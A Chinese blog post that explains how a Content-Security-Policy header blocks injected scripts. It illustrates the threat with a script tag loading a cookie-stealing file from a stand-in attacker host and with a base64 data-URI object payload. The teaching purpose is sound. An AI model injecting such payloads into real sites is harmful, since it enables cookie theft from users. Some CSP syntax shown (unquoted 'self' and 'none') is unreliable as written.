網頁入侵最後一道防線:CSP內容安全策略
首先,什麼是最後一道防線?
網頁入侵都有一個過程,簡單來說,就是1.代碼注入,2.代碼執行。
對於黑客來說,代碼注入後並不代表就萬事大吉了,因為此時代碼只是安靜地躺在受害者的伺服器里,什麼壞事都沒幹呢!
所以必須要有代碼執行這一步。
今天要講的,就是如何阻止惡意代碼的執行。
惡意代碼的執行方式1:inline script
比如我的某個網站 Example Domain 被注入了惡意代碼了,這段代碼長這樣:
<script src="badguy.com/steal-your-cookies.js"></script>
這段代碼會從一個叫 badguy.com 的網站載入一個 js 腳本文件並執行。只要這段代碼被執行了,用戶的一些信息就會被竊取。
惡意代碼的執行方式2:Data URI scheme
Data URI scheme 設計的初衷是為了把一些小的資源,比如圖片,直接嵌入到 HTML 中,避免了額外的載入。
比如,傳統的圖片代碼是這樣的:
<img src="example.com/1.jpg" />
這種載入會額外消耗網路帶寬,並增加網頁的響應時間
現在可以這樣做:
<img src_="data:image/gif;base64,編碼數據" />
這樣的話,只要載入一次,就可以顯示圖片了。
不過,這種方式可以被利用來執行JS代碼!
比如,黑客只要注入下面這段看起來人畜無害的代碼,用戶一打開網頁,就會……boom!(好吧,其實就是彈出個對話框,調戲下用戶)
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgibmkgc2hpIFNCIG1hPyIpPC9zY3JpcHQ+"></object>
當然惡意代碼執行的方式多種多樣,這裡就不一一列舉了,大家有個概念即可。
防止代碼執行的內容安全策略:CSP
CSP是 Content-Security-Policy 縮寫,基本作用是建立一套白名單,所有在白名單之外的代碼都不允許執行。
CSP 應用一:拒絕執行第三方域名的腳本
Content-Security-Policy: script-src self
如此一來,例1中的 `steal-your-cookies.js` 腳本便不會被載入,更不會被執行了。
CSP 應用二:拒絕執行 Data URI Scheme
Content-Security-Policy: object-src none
如此一來,例2中的 base64 編碼後的代碼就無法被執行了。
但是,除了 object 標籤外,img 標籤也是可以執行 base64 代碼的,除了 img,還有 media, frame 等……
CSP 應用三:向管理員主動報告入侵情況
Content-Security-Policy: report-uri http://example.com/report.php
在 CSP 策略中加入 report-uri 指令,即可向特定網址發送當前網頁里任何違反 CSP 策略的情況。如此一來,管理員便可以知道自己的網站是否被入侵了。
接下來是廣告時間:
我的簡書:panyanyany - 簡書
我的知乎:OutOfRange
我的公眾號:OutOfRange
有事歡迎騷擾 ~
推薦閱讀: